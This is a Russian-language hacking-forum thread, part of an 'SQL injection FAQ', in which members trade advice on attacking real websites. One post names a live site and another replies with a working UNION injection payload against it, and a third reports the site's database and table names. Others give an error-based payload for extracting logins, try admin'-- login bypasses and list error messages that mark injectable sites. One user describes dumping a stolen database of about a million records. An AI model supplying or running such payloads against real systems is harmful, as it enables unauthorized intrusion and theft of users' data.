Авторские статьи SQL injection полный FAQ

Discussion in 'Статьи' started by Dr.Z3r0, 7 Jul 2007.

  1. mega_667

    mega_667 Banned

    Joined:
    3 Jul 2011
    Messages:
    16
    Likes Received:
    0
    Reputations:
    0
    WOW ! 5 баллов .... работает ! спасибО !
     
  2. netruxa

    netruxa New Member

    Joined:
    21 Apr 2008
    Messages:
    7
    Likes Received:
    1
    Reputations:
    0
    подскажите плз как вскрывать такую защиту?
    есть сайт http://www.earthcharter.ru/index.php?cnt=86
    Я узнал, что там версия мускуля пятая http://www.earthcharter.ru/index.php?cnt=86+and+1=if%28substring%28version%28%29,1,1%29=5,1,2%29
    но при попытке http://www.earthcharter.ru/index.php?cnt=86+order+by+1 выдается ошибка. как ее обойти?
     
  3. Expl0ited

    Expl0ited Members of Antichat

    Joined:
    16 Jul 2010
    Messages:
    1,035
    Likes Received:
    534
    Reputations:
    935
    Code:
    http://www.earthcharter.ru/index.php?cnt=86)and(1=0)union(select(version()),2,3,4,5,6,7)--+
     
    _________________________
  4. Osstudio

    Osstudio Banned

    Joined:
    17 Apr 2011
    Messages:
    638
    Likes Received:
    160
    Reputations:
    81
    Там Blind. :)
    Version: 5
    DB: ecologyand_chart
    Table Name: textarray
    Table Name: textes
    И т.д.
    P.S А учитывая, что тИЦ: 20, и PR: 5, только зря потратишь время.
     
    #184 Osstudio, 18 Jul 2011
    Last edited: 18 Jul 2011
    1 person likes this.
  5. d1v

    d1v Elder - Старейшина

    Joined:
    21 Feb 2009
    Messages:
    676
    Likes Received:
    331
    Reputations:
    120
    [не удержался]
    убейся вместе с havij.
    [/не удержался]
     
  6. Osstudio

    Osstudio Banned

    Joined:
    17 Apr 2011
    Messages:
    638
    Likes Received:
    160
    Reputations:
    81
    При чём тут havij?! Разве там не Blind??
     
  7. netruxa

    netruxa New Member

    Joined:
    21 Apr 2008
    Messages:
    7
    Likes Received:
    1
    Reputations:
    0
    Круто! Спасибо!
    Где такому учат? Здесь все 19 страниц прочитал, ничего подбного не встречал
     
  8. Ins3t

    Ins3t Харьковчанин

    Joined:
    18 Jul 2009
    Messages:
    939
    Likes Received:
    429
    Reputations:
    139
    Ээээм, учебник по SQL?
     
    2 people like this.
  9. randman

    randman Members of Antichat

    Joined:
    15 May 2010
    Messages:
    1,366
    Likes Received:
    610
    Reputations:
    1,101
    Учат синтаксис, тип запросов, функции MySQL- dev.mysql.com. А не статьи по использованию SQL-инъекций.
     
  10. netruxa

    netruxa New Member

    Joined:
    21 Apr 2008
    Messages:
    7
    Likes Received:
    1
    Reputations:
    0
    ну вот это объясните пожалуйста
    86)and(1=0)
    по идеи, если 1=0 должен false возвращаться и вообще ничего не должно выводиться?
     
  11. netruxa

    netruxa New Member

    Joined:
    21 Apr 2008
    Messages:
    7
    Likes Received:
    1
    Reputations:
    0
    Подскажите, пожалуйста, как решается эта проблема?
    Запрос вида
    версия БД 4.1.12-standard-log, поэтому решил так извратиться

    версию узнавал таким образом
    если hex() не писать, то вылазит ошибка, которая в самом начале поста
     
  12. попугай

    попугай Elder - Старейшина

    Joined:
    15 Jan 2008
    Messages:
    1,518
    Likes Received:
    401
    Reputations:
    196
    unhex(hex(version()))

    в статье разве этого нет?
     
  13. netruxa

    netruxa New Member

    Joined:
    21 Apr 2008
    Messages:
    7
    Likes Received:
    1
    Reputations:
    0
    Да когда одна переменная, понятно, что ее мона захексить и разхексить.
    а что делать при таком формате запроса?
    -1'+union+select+*+from+(select+1,2,3,4,5,6)a, users,(select+1,2,3,4,5,6,7,8)b+--+
     
    #193 netruxa, 1 Aug 2011
    Last edited: 1 Aug 2011
  14. diny

    diny New Member

    Joined:
    2 Feb 2011
    Messages:
    92
    Likes Received:
    1
    Reputations:
    0
    в чем трабла ? ошибка в поле логин, все время пишет

    Message: MySQL Query fail: SELECT user_pass, user_salt, user_groupid, user_id FROM `users` WHERE user_name = ''--'
    MySQL Error: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''' at line 1

    пробовал зайти как админ прописав в логине admin'-- , но никак..
    пробовал group и order писать , тоже ноль .
    через union не получается
     
  15. totenkopf

    totenkopf Elder - Старейшина

    Joined:
    19 Jul 2010
    Messages:
    92
    Likes Received:
    64
    Reputations:
    19
    Re: 4.3 Проблемы с кодировками

    Есть еще функция binary() которая выводит все как есть.
    И никаких проблем с кодировкой.
    SELECT binary(user()) FROM mysql.user
    И никаких unhex(hex()) не требуется.

    Проверено временем и дорогами.
     
    1 person likes this.
  16. FreShBY

    FreShBY Banned

    Joined:
    3 May 2009
    Messages:
    24
    Likes Received:
    3
    Reputations:
    0
    Подскажите пожалуйста как в concat запихать insert, да так, чтобы пробелы были заменены чем либо. Вот как делается select (спасибо M_Script):

    Code:
    (ExtractValue(1,concat(0x3a,(select(login)from(users)where(id=1)))))='1
     
  17. ОпаSнЫй

    ОпаSнЫй New Member

    Joined:
    24 Jun 2011
    Messages:
    44
    Likes Received:
    2
    Reputations:
    1

    чтобы зайти под логином admin - нужно чтобы на этом сайте был логин admin понимаешь? он может быть сидеть не под ником admin, и вписавши его настоящий ник с правами админа - вот тогда все получиться. А так БД не понимает, что ты от нее хочешь. Также в ошибке можно найти названия таблицы, иногда с ником админа. Скачай движ данного сайты, и на локалхосте потренеруйся. Установи БД, полазь как админ, придумай логин себе и пасс, и обойди же его.
     
    #197 ОпаSнЫй, 2 Apr 2012
    Last edited: 2 Apr 2012
  18. Alf0x0ns

    Alf0x0ns Member

    Joined:
    12 Jan 2010
    Messages:
    14
    Likes Received:
    5
    Reputations:
    1
    Есть вопрос!
    Давно не занимался такими делами и уже забыл)
    Недавно нашел скулю на сайте, база 1 мил.
    Подметил прогу запустил на внс и жду )
    прошло несколько времени я решил проверить как там моя база)
    оказалось что какая то ошибка, 47 тыс. уже скачало, а вот дальше ошибка, я думал прикрыли скуль но смотрю она есть, начал тестить оказалось что нужно разбивать лимит.
    153,1
    306,2
    612,3
    ...
    иначе не хочет.
    Иинтересно тот факт что если делать как я прежний раз скачал то уже так не работает доходит до 153 (.
    Что можете посоветовать?
    я вижу вариант переделать скрипт чтоб качал базу по пакетно!
     
  19. t3cHn0iD

    t3cHn0iD Banned

    Joined:
    6 Apr 2009
    Messages:
    313
    Likes Received:
    63
    Reputations:
    66
    Апну пожалуй, я тут составил некоторый список ошибок, которые выплевываются в том случае, когда возможно провести инъекцию.
    Некоторые из них распостранены, а некоторые весьма специфичны:

    Code:
    [B][COLOR=SandyBrown]You have an error in your SQL syntax
    Пустая страница (вероятность 50%)
    Warning: mysql_num_rows()
    Warning: mysql_fetch_array()
    Warning: mysql_fetch_assoc()
    Warning: mysql_fetch_object()
    Warning: extract() [function.extract]
    Could not execute query
    DataBase Error!!!
    A error occured: Line 1: Incorrect syntax near 'value''
    Error
    SQL Query Error
    TERM doesn't exist in dbase
    Маскировка под запятую (,)
    Маскировка под число или слово (193 or slave)
    Специфическая ошибка на определенном языке (напрямую или косвенно связана с предыдущими случаями)[/COLOR][/B]
    и тд.
     
    2 people like this.
  20. Alinezii

    Alinezii New Member

    Joined:
    9 Aug 2009
    Messages:
    9
    Likes Received:
    0
    Reputations:
    0
    Уважаемые, подскажите по одному вопросу, а то всю голову сломал.
    Есть инъекция на одном сайте, однако из-за неких правил обработки переменных, не получается провести полноценную инъекцию.
    Проблема вот в чем:
    Уязвимая переменная: ?var=(123,456)
    вот данные внутри ни как не проверяются, однако в скрипте данные парсятся либо через explode либо регуляркой, и возникает проблема в том, что если я буду писать что-то типа union select all 1,2,3... Все что после первой запятой обрежется. Ну т.е. из переменной ?var=(123,456) union select all 1,2,3..%23) в запрос попадет 456) union select all 1 , что по понятной причине не дает возможность проэксплуатировать скулю.
    Каким образом можно просунуть поля без использования запятых?
    P.S. через %2C пробовал, тот же эффект.
    Количество полей узнал, union срабатывает, осталось дело за малым, подставить ему эти поля и дело в шляпе.